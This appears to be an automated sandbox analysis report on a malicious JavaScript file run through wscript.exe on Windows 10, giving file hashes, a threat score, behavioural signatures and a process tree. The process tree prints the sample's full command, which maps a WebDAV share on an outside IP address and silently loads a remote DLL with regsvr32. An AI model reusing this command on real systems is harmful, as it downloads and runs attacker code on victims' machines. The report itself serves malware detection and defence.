Analysis

  • max time kernel
    140s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 07:17

General

  • Target

    198943261278642211.js

  • Size

    4KB

  • MD5

    72e8968ac34814136bb0dc669239863d

  • SHA1

    d6cfeaa15ec7a83b008c14bf435a5bea07d53ac6

  • SHA256

    74e005dbf3b9eae09855ef0e68c0e1dc3b63ab979a7050871aaa2a1f4d6d04bd

  • SHA512

    06e28c17663ae95545dda9b8b40af7367274808ca22c20b3267dc349e299588aa6b8887d5e10380f154ed8c74052688ed6b4325ec017f550e44317138afcc52c

  • SSDEEP

    96:N/z2qF08Jvi3AVXKE4jQt8Akuq4jQt8HfyH:IqeeSHAkvSHHfM

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\198943261278642211.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2996
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\187901098321450.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4008
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1820

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads